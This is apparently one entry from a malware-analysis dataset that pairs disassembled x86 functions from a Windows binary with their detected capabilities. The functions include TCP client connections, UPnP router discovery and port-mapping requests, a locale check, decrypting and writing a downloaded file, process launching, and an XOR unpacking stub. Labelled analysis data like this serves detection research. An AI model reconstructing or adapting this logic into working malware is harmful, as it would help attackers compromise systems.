joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40cf30
Capabilities:
Check for time delay via gettickcount
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
cmp dword [ebp + 0x14], 0xffffffff
je 0x40cf4e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 0
lea edx, [ebp - 0xc]
push edx
push 0x4004667f
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
jne 0x40cf75
jmp 0x40cfef
cmp dword [ebp - 0xc], 0
jle 0x40cfd2
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 0x10]
jae 0x40cf8b
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
jmp 0x40cf91
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
push 0
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jle 0x40cfd2
cmp dword [ebp + 0x14], 0xffffffff
je 0x40cfc0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp - 0x10]
mov dword [ebp + 0x10], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x10]
mov dword [ebp - 4], edx
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 8]
ja 0x40cfef
cmp dword [ebp + 0x10], 0
jne 0x40cf54
xor eax, eax
cmp dword [ebp + 0x10], 0
sete al
mov esp, ebp
pop ebp
ret

Function at 0x40d000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0xffffffff
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x40d07f
xor eax, eax
mov word [ebp - 0x14], ax
xor ecx, ecx
mov dword [ebp - 0x12], ecx
mov dword [ebp - 0xe], ecx
mov dword [ebp - 0xa], ecx
mov word [ebp - 6], cx
mov edx, 2
mov word [ebp - 0x14], dx
push 0x9e34
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
push 0x10
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40d07f
mov eax, dword [ebp - 4]
push eax
call fcn.0040ad80
add esp, 4
mov dword [ebp - 4], 0xffffffff
jmp 0x40d083
xor ecx, ecx
jne 0x40d00d
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40d3a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
je 0x40d488
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
add ecx, 4
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [ebp - 8]
push edx
call fcn.0040d490
add esp, 4
cmp dword [ebp + 0x10], 0
je 0x40d47b
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
lea edx, [ecx*4 + 4]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x1c]
push ecx
call fcn.0040a220
add esp, 8
mov edx, dword [ebp - 8]
mov dword [edx + 0x1c], eax
mov eax, dword [ebp - 8]
cmp dword [eax + 0x1c], 0
je 0x40d47b
mov ecx, dword [ebp + 0x18]
push ecx
push 0
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40d47b
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x1c]
mov ecx, dword [ebp - 0xc]
mov dword [edx + eax*4], ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
add eax, 1
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
cmp dword [ebp + 0x1c], 0
je 0x40d474
push 2
push 0
push 0
mov edx, dword [ebp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov dword [ebp - 4], 1
mov ecx, dword [ebp - 8]
add ecx, 4
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40d950
Capabilities:
Create udp socket
Send data
Send data on socket
Send http request
Send http request with host header
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x40dab1
xor eax, eax
mov word [ebp - 0x38], ax
xor ecx, ecx
mov dword [ebp - 0x36], ecx
mov dword [ebp - 0x32], ecx
mov dword [ebp - 0x2e], ecx
mov word [ebp - 0x2a], cx
mov edx, 2
mov word [ebp - 0x38], dx
push 0x76c
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x36], ax
push str.239.255.255.250
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x15], 1
push 1
lea eax, [ebp - 0x15]
push eax
push 0x20
push 0xffff
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
xor edx, edx
mov word [ebp - 0x28], dx
xor eax, eax
mov dword [ebp - 0x26], eax
mov dword [ebp - 0x22], eax
mov dword [ebp - 0x1e], eax
mov word [ebp - 0x1a], ax
mov ecx, 2
mov word [ebp - 0x28], cx
call fcn.0040acc0
mov dword [ebp - 0x24], eax
push 0x10
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.WS2_32.dll_bind]
mov dword [ebp - 0x14], str.M_SEARCH__HTTP_1.1_r_nST:urn:schemas_upnp_org:device:InternetGatewayDevice:1_r_nMX:_3_r_nMan:_ssdp:discover__r_nHOST:_239.255.255.250:1900_r_n_r_n
push 0x10
lea ecx, [ebp - 0x38]
push ecx
push 0
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_sendto]
mov dword [ebp - 0x10], 1
lea edx, [ebp - 0x10]
push edx
push 0x8004667e
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov ecx, 1
test ecx, ecx
je 0x40daa5
mov dword [ebp - 0x3c], 0
lea edx, [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.0040dad0
add esp, 8
movzx ecx, al
test ecx, ecx
jne 0x40da74
jmp 0x40daa5
mov edx, dword [ebp - 4]
lea eax, [edx*4 + 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.0040a220
add esp, 8
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x3c]
mov dword [eax + edx*4], ecx
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
jmp 0x40da4b
mov eax, dword [ebp - 0xc]
push eax
call fcn.0040ad80
add esp, 4
cmp dword [ebp - 8], 0
je 0x40dabf
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 8]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40dad0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov byte [ebp - 0x401], 0
mov dword [ebp - 0x408], 0
jmp 0x40dafb
mov eax, dword [ebp - 0x408]
add eax, 1
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 2
jge 0x40dbb4
push 0
push 0
push 0
push 0x400
lea ecx, [ebp - 0x400]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp eax, 0xffffffff
jne 0x40db36
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40daec
mov byte [ebp - 0x401], 1
push 0xf
push str.HTTP_1.1_200_OK
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCmpNIA]
test eax, eax
jne 0x40dbaf
push str.LOCATION:
lea ecx, [ebp - 0x400]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 0
je 0x40dbaf
mov edx, dword [ebp - 0x40c]
add edx, 0xa
mov dword [ebp - 0x410], edx
push 0xd
mov eax, dword [ebp - 0x410]
push eax
call dword [sym.imp.SHLWAPI.dll_StrChrA]
sub eax, dword [ebp - 0x410]
push eax
mov ecx, dword [ebp - 0x410]
push ecx
call fcn.0040cae0
add esp, 8
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
jmp 0x40daec
mov al, byte [ebp - 0x401]
mov esp, ebp
pop ebp
ret
Function at 0x40de00
Capabilities:
Connect to http server
Create http request
Parse url
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x754
mov dword [ebp - 0x304], 0
mov dword [ebp - 0x344], 0
push 0x38
push 0
lea eax, [ebp - 0x340]
push eax
call sub.ntdll.dll_memset
add esp, 0xc
mov dword [ebp - 0x344], 0x3c
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x330], 0x100
lea edx, [ebp - 0x300]
mov dword [ebp - 0x318], edx
mov dword [ebp - 0x314], 0x200
lea eax, [ebp - 0x344]
push eax
push 0x10000000
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0
je 0x40e017
push 0
push 0
push 3
push 0
push 0
movzx edx, word [ebp - 0x32c]
push edx
lea eax, [ebp - 0x100]
push eax
mov ecx, dword [ebp - 0x308]
push ecx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0
je 0x40e00a
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x300]
push edx
push 0x411a60
mov eax, dword [ebp - 0x348]
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0
je 0x40dffd
push 0
push 0
push 0
push 0
mov ecx, dword [ebp - 0x34c]
push ecx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x40dff0
cmp dword [ebp + 0xc], 0
je 0x40dfe6
mov dword [ebp - 0x350], 0
mov edx, 1
test edx, edx
je 0x40dfd9
lea eax, [ebp - 0x754]
push eax
push 0x400
lea ecx, [ebp - 0x750]
push ecx
mov edx, dword [ebp - 0x34c]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40df7b
cmp dword [ebp - 0x754], 0
jne 0x40df7d
jmp 0x40dfd9
mov eax, dword [ebp - 0x350]
add eax, dword [ebp - 0x754]
push eax
mov ecx, dword [ebp - 0x304]
push ecx
call fcn.0040a220
add esp, 8
mov dword [ebp - 0x304], eax
mov edx, dword [ebp - 0x754]
push edx
lea eax, [ebp - 0x750]
push eax
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x350]
push ecx
call sub.ntdll.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 0x350]
add edx, dword [ebp - 0x754]
mov dword [ebp - 0x350], edx
jmp 0x40df41
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x350]
mov dword [eax], ecx
jmp 0x40dff0
mov dword [ebp - 0x304], 1
mov edx, dword [ebp - 0x34c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x348]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x308]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x304]
mov esp, ebp
pop ebp
ret
Function at 0x40e730
Capabilities:
Connect to http server
Create http request
Parse url
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x75c
mov dword [ebp - 0x304], 0
mov dword [ebp - 0x344], 0
push 0x38
push 0
lea eax, [ebp - 0x340]
push eax
call sub.ntdll.dll_memset
add esp, 0xc
mov dword [ebp - 0x344], 0x3c
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x330], 0x100
lea edx, [ebp - 0x300]
mov dword [ebp - 0x318], edx
mov dword [ebp - 0x314], 0x200
lea eax, [ebp - 0x344]
push eax
push 0x10000000
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
push 0
push 0
push 0
push 1
push str.Mozilla_4.0__compatible__UPnP_1.0__Windows_9x_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0
je 0x40e961
push 0
push 0
push 3
push 0
push 0
movzx edx, word [ebp - 0x32c]
push edx
lea eax, [ebp - 0x100]
push eax
mov ecx, dword [ebp - 0x308]
push ecx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0
je 0x40e954
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x300]
push edx
push str.POST
mov eax, dword [ebp - 0x348]
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0
je 0x40e947
push 0xa0000000
push 0xffffffffffffffff
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x34c]
push edx
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
mov dword [ebp - 0x350], str.Content_Type:_text_xml__charset_utf_8__r_nConnection:_Close_r_nCache_Control:_no_cache_r_nPragma:_no_cache_r_n
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp + 0x10]
push edx
push 0xffffffffffffffff
mov eax, dword [ebp - 0x350]
push eax
mov ecx, dword [ebp - 0x34c]
push ecx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x40e93a
mov dword [ebp - 0x354], 0
mov edx, 1
test edx, edx
je 0x40e92f
lea eax, [ebp - 0x75c]
push eax
push 0x400
lea ecx, [ebp - 0x758]
push ecx
mov edx, dword [ebp - 0x34c]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40e8d1
cmp dword [ebp - 0x75c], 0
jne 0x40e8d3
jmp 0x40e92f
mov eax, dword [ebp - 0x354]
add eax, dword [ebp - 0x75c]
push eax
mov ecx, dword [ebp - 0x304]
push ecx
call fcn.0040a220
add esp, 8
mov dword [ebp - 0x304], eax
mov edx, dword [ebp - 0x75c]
push edx
lea eax, [ebp - 0x758]
push eax
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x354]
push ecx
call sub.ntdll.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 0x354]
add edx, dword [ebp - 0x75c]
mov dword [ebp - 0x354], edx
jmp 0x40e897
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x354]
mov dword [eax], ecx
mov edx, dword [ebp - 0x34c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x348]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x308]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x304]
mov esp, ebp
pop ebp
ret
Function at 0x40e970
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0xa
lea eax, [ebp - 0xc]
push eax
push 7
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0x412538
lea ecx, [ebp - 0xc]
push ecx
call sub.ntdll.dll_strcmp
add esp, 8
test eax, eax
jne 0x40e9a2
mov al, 1
jmp 0x40e9a4
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x40e9b0
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0
push 0
push 3
push 0
push 1
push accept
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x40e9f8
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40ea00
Capabilities:
Get file size
Read file via mapping
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov byte [ebp - 0x11], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
push 0
push 0
push 3
push 0
push 0
push accept
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x40eb5a
push 0
push 0
push 0
push 2
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40eb50
push 0
push 0
push 0
push 4
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x40eb46
push 0
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x100
jbe 0x40eb3c
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.0040ca30
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40eb3c
mov edx, dword [ebp - 8]
sub edx, 0x100
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x18], edx
jne 0x40eb3c
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x1c]
add ecx, 0x100
push ecx
push 0x10
mov edx, dword [ebp - 0x10]
add edx, 8
push edx
call fcn.0040c3d0
add esp, 0x10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40eb3c
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.0040a720
add esp, 0xc
push 0x10
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 8
push ecx
call sub.ntdll.dll_memcmp
add esp, 0xc
test eax, eax
je 0x40eb3c
mov edx, dword [ebp - 4]
push edx
call fcn.0040a3f0
add esp, 4
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], 0
je 0x40ebb4
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x40eba8
mov byte [ebp - 0x11], 1
push 0
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
push eax
call fcn.0040a3f0
add esp, 4
mov al, byte [ebp - 0x11]
mov esp, ebp
pop ebp
ret
Function at 0x40ebc0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call sub.ntdll.dll_memset
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x14]
push ecx
call sub.ntdll.dll_memset
add esp, 0xc
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
mov edx, 5
mov word [ebp - 0x30], dx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x60]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 1
jne 0x40ec31
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x40ec68
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 0x41253c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x64], ecx
cmp dword [ebp - 0x64], 0x20
jle 0x40ec66
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x40ec68
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x40ec70
Capabilities:
Create http request
Get http content length
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov byte [ebp - 5], 0
push 0
push 0
push 0
push 1
push 0x412548
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40ed08
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40ecfe
mov dword [ebp - 0x14], 4
push 0
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x10]
push eax
push 0x20000005
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [ebp - 0x10], 0x1388
jbe 0x40ecf4
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x10]
cmp eax, dword [edx]
je 0x40ecf4
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
mov dword [ecx], edx
mov byte [ebp - 5], 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret
Function at 0x40f319
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x40f34a
mov eax, dword fs:[4]
mov dword [ebp + 8], eax
mov eax, dword fs:[8]
mov dword [ebp - 4], eax
cmp ebx, dword [ebp - 4]
jb 0x40f351
cmp ebx, dword [ebp + 8]
jae 0x40f351
xor eax, eax
jmp 0x40f537
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x40f362
xor eax, eax
inc eax
jmp 0x40f536
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x40f374
cmp ecx, edx
jae 0x40f3d8
cmp dword [eax + 4], 0
je 0x40f37d
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x40f369
cmp dword [ebp + 8], 0
je 0x40f397
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x40f3d8
cmp eax, esi
jae 0x40f3d8
mov ecx, dword [0x417ef0]
mov esi, ebx
and esi, 0xfffff000
xor eax, eax
test ecx, ecx
jle 0x40f3b9
cmp dword [eax*4 + 0x417ef8], esi
je 0x40f3df
inc eax
cmp eax, ecx
jl 0x40f3ab
lea eax, [ebp + 8]
push eax
push 0x1c
lea eax, [ebp - 0x20]
push eax
push 0
push ebx
or edi, 0xffffffff
push edi
call sub.ntdll.dll_NtQueryVirtualMemory
test eax, eax
jl 0x40f44f
mov eax, dword [ebp + 8]
jmp 0x40f451
xor eax, eax
jmp 0x40f536
test eax, eax
jle 0x40f35a
xor edx, edx
mov ebx, 0x417f38
inc edx
mov edi, ebx
xchg dword [edi], edx
test edx, edx
jne 0x40f35a
cmp dword [eax*4 + 0x417ef8], esi
je 0x40f42e
lea eax, [ecx - 1]
test eax, eax
jl 0x40f41b
cmp dword [eax*4 + 0x417ef8], esi
je 0x40f417
dec eax
jns 0x40f40b
test eax, eax
jge 0x40f42c
cmp ecx, 0x10
jge 0x40f427
inc ecx
mov dword [0x417ef0], ecx
lea eax, [ecx - 1]
jmp 0x40f42e
je 0x40f446
xor edx, edx
test eax, eax
jl 0x40f446
lea ecx, [edx*4 + 0x417ef8]
mov edi, dword [ecx]
inc edx
cmp edx, eax
mov dword [ecx], esi
mov esi, edi
jle 0x40f434
xor eax, eax
xchg dword [ebx], eax
jmp 0x40f35a
xor eax, eax
test eax, eax
je 0x40f534
cmp dword [ebp - 8], 0x1000000
jne 0x40f534
test byte [ebp - 0xc], 0xcc
je 0x40f4c6
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x40f534
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x40f534
cmp word [eax + 0x18], 0x10b
jne 0x40f534
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x40f534
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x40f4c6
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x40f4c6
test byte [ecx + 0x27], 0x80
jne 0x40f3d8
xor eax, eax
inc eax
mov ecx, eax
mov edx, 0x417f38
xchg dword [edx], ecx
test ecx, ecx
jne 0x40f536
mov ecx, dword [0x417ef0]
test ecx, ecx
mov edx, ecx
jle 0x40f4f5
lea eax, [ecx*4 + 0x417ef4]
cmp dword [eax], esi
je 0x40f4f5
dec edx
sub eax, 4
test edx, edx
jg 0x40f4e9
test edx, edx
jne 0x40f526
push 0xf
pop ebx
cmp ecx, ebx
jg 0x40f502
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x40f51a
lea eax, [edx*4 + 0x417ef8]
mov edi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], esi
mov esi, edi
jle 0x40f508
cmp ecx, 0x10
jge 0x40f526
inc ecx
mov dword [0x417ef0], ecx
xor eax, eax
mov ecx, 0x417f38
xchg dword [ecx], eax
jmp 0x40f35a
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42e004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x58200de2
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
mov ecx, 0x6e836266
nop
nop
nop
nop
nop
test eax, eax
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219